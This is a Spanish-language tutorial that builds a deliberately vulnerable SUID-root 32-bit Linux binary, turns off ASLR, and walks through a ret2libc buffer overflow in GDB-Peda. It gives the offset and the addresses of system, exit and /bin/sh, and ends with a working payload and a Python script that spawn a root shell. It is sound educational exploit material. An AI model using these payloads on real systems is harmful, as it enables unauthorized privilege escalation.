5 minute read

Entorno

En este caso estaremos explotando un binario vulnerable a buffer overflow en una máquina linux de 32 bits, con el DEP (Data Execution Prevention) activado y el ASLR desactivado

Necesitaremos:

  • Una máquina virtual Ubuntu 14.04.6 LTS de 32 bits.
  • GDB-Peda
  • Un binario vulnerable
  • Desactivar el ASLR

Creación del binario

En cualquier editor de texto, por ejemplo nano copiaremos y pegaremos el siguiente código y lo guardaremos como buff.c.

#include <stdio.h>
#include <string.h>

int vuln(char *str)
{
    char buf[64];
    strcpy(buf,str);
    printf("Cadena: %s\n",buf);
    return 0;
}
int main(int argc, char* argv[])
{
    vuln(argv[1]);
}

Compilación

En este caso vamos a compilar nuestro binario de tal manera que el DEP (Data Execution Prevention) este activado, esto quiere decir que en este binaro no seremos capaces de poder inyectar nuestro shellcode dentro de la pila como lo es en el caso del Stack Based Buffer Overflow.

Nota: Si ejecutamos file buff nos dirá que es un binario ejecutable de 32 bits.

gcc -fno-stack-protector -m32 buff.c -o buff

CompilaciónBuffLinux32

Permisos

Para obtener una shell como root luego de explotar el binario, otorgaremos permisos tal que el binario sea SUID y pertenezca a root.

Esto lo tenemos que hacer como el usuario root. Luego volveremos a migrar al usuario con pocos privilegios.

Todo esto para ver como siendo un usuario sin privilegios, aprovechándonos de la explotación de este binario seremos capaces de obtener una shell como un usuario privilegiado (root).

chown root:root buff
chmod +s buff

CompilaciónBuffLinux32

Desactivar el ASLR

Podemos ejecutar lo siguiente para poder saber si esta o no activado el ASLR.

ldd buff

CompilaciónBuffLinux32

Como podemos ver las direcciones van cambiando, esto significa que el ASLR esta activado, por lo tanto una vez más como el usuario root lo desactivaremos.

Por defecto el valor de randomize_va_space es “2”.

cat /proc/sys/kernel/randomize_va_space
echo 0 > /proc/sys/kernel/randomize_va_space

Una vez realizado lo anterior el valor de randomize_va_space sera “0” y la aleatoriedad de las direcciones (ASLR) estarán desactivadas.

CompilaciónBuffLinux32

GDB-Peda

Aquí puedes utilizar GDB normal, pero te recomiendo instales Peda, ya que esto trae utilidades que nos serán de ayuda para agilizar nuestra explotación.

Recurso: Peda

Instalación:

git clone https://github.com/longld/peda.git ~/peda
echo "source ~/peda/peda.py" >> ~/.gdbinit
echo "DONE! debug your program with gdb and enjoy"

Una vez lo instales, al ejecutar gdb, debería aparecerte en rojo gdb-peda$ como lo podemos observar en la imagen de la derecha.

gdbVSpeda

Comandos que utilizaremos:

1. Ver los registros de la memoria.

i r

2. Crear cadenas aleatorias, en donde “x” es el número de la longitud de nuestra cadena.

pattern arg x

3. Ejecuta el binario.

r

4. Encuentra el tamaño del offset.

pattern search

5. Muestra la dirección de system.

p system

6. Muestra la dirección de exit.

p exit

7. Muestra la dirección de /bin/sh.

find "/bin/sh" all

Explotación

Lo que hace nuestro binario es recibir una cadena y luego imprimirla por pantalla.

Pero ¿Que pasaría si la cadena que le pasamos supera el tamaño de buffer que definimos en nuestro binario?.

Es ahí cuando abra un desbordamiento del buffer.

Segmentation Fault

Para este paso puedes hacerlo manual como podemos observar en la imagen anterior o con python e ir probando con un número de caracteres aleatorios hasta ver en que punto se desborda el buffer.

./buff $(python -c 'print "A"*10')
./buff $(python -c 'print "A"*100')

Segmentation Fault

Lo bueno de Peda es que también admite ejecución en python y aparte con sus utilidades seremos capaces de encontrar más fácilmente el offset y controlar el EIP.

Segmentation Fault

Nota: Hay que tomar en cuenta que para este caso, repito, NO podremos ejecutar nuestro shellcode en la pila apuntándolo con el EIP, esta vez para poder aprovecharnos del desbordamiento del buffer haremos una llamada al sistema de modo que el EIP contenga valores predeterminados como el de system, exit y /bin/sh, a esto se lo llama ret2libc attack.

1. Calculando el offset

  • Ejecutaremos gdb pasándole como parámetro nuestro binario.
  • Seguido crearemos una cadena aleatoria de 100 caracteres.
  • Ejecutamos el binario con la cadena que creamos anteriormente.
gdb buff
pattern arg 100
r

Segmentation Fault

2. Controlando el EIP

Gracias a Peda este paso es muy fácil, ya que con la cadena creada anteriormente basta con ejecutar el siguiente comando para encontrar el tamaño exacto del offset antes de sobre escribir el EIP.

pattern search

Segmentation Fault

Como resultado obtenemos 76, ese sera el número de “A” que imprimiremos seguidas de 4 bits que serán nuestras “B”.

Sí como resultado en el EIP obtenemos nuestras “B” en hexadecimal (0x42) significa que tenemos efectivamente el control del EIP.

r $(python -c 'print "A"*76 + "B"*4')

Segmentation Fault

3. Encontramos la dirección de system,exit y /bin/sh.

p system
p exit
find "/bin/sh" all

Segmentation Fault

4. Payload Final

Ya como paso final solo debemos unir todos los datos que hemos ido recolectando en los pasos anteriores, tomando en cuenta que usaremos ret2libc attack.

  • Offset = 76 (multiplicar por "A").
  • Dirección de system = 0xb7e53310 (debe estar en formato Little-Endian)
  • Dirección de exit = 0xb7e46260 (debe estar en formato Little-Endian)
  • Dirección de /bin/sh = 0xb7f75d4c (debe estar en formato Little-Endian)
payload = offset + system + exit + /bin/sh
$(python -c 'print "A"*76 + "\x10\x33\xe5\xb7" + "\x60\x62\xe4\xb7" + "\x4c\x5d\xf7\xb7"')

Si ejecutamos nuestro payload desde gdb podemos observar que en efecto nos devuelve nuestra shell, pero en este caso como el usuario con pocos privilegios.

Shell desde peda

Debemos ejecutar directamente el binario que creamos (buff) con nuestro payload para obtener nuestra shell como root.

Shell sin ASLR

Recomendación

En la imagen anterior podemos observar que una vez ejecutamos el binario junto con nuestro payload, recibimos nuestra shell como root, pero también podemos ver en la parte inferior que pasándole un script en python, obtenemos el mismo resultado, de hecho este script lo que nos permite es evitarnos pasar manualmente nuestra dirección de memoria a formato Little-Endian, ya que esto puede ocasionar errores.

Para evitar eso el script utiliza la librería pack que permite pasar la dirección de memoria a formato Little-Endian de forma automática.

#/usr/bin/python2

from struct import pack

offset = 76

systemAdd = pack("<I", 0xb7e53310)
exitAdd = pack("<I", 0xb7e46260)
binshAdd = pack("<I", 0xb7f75d4c)

junk = "A"*76

payload = junk + systemAdd + exitAdd + binshAdd

print payload